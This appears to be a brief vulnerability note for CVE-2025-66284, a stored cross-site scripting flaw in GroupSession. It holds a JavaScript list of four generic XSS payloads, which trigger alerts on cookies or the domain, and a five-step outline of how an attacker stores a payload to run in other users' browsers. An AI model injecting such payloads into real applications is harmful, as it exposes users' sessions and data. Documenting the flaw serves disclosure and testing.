CVE-2025-66284: GroupSession 存储型跨站脚本漏洞

// CVE-2025-66284 Stored XSS PoC - Generic Example // This demonstrates the XSS payload structure // Actual exploitation requires identifying specific injection points in GroupSession // Basic XSS payload examples: const xssPayloads = [ // Simple script injection '<script>alert(document.cookie)</script>', // Event handler based XSS '<img src=x onerror=alert(document.domain)>', // SVG-based injection '<svg onload=alert(String.fromCharCode(88,83,83))>', // JavaScript URI '<a href="javascript:alert(document.cookie)">click me</a>' ]; // Example attack scenario: // 1. Attacker logs into GroupSession // 2. Attacker identifies a field that stores user input (e.g., comment, description) // 3. Attacker injects XSS payload into the field // 4. Payload is stored in database // 5. When other users view the page, the payload executes in their browser // Note: This is a conceptual example. Actual exploitation requires: // - Valid GroupSession credentials // - Identification of vulnerable input fields // - Knowledge of the application's input validation mechanisms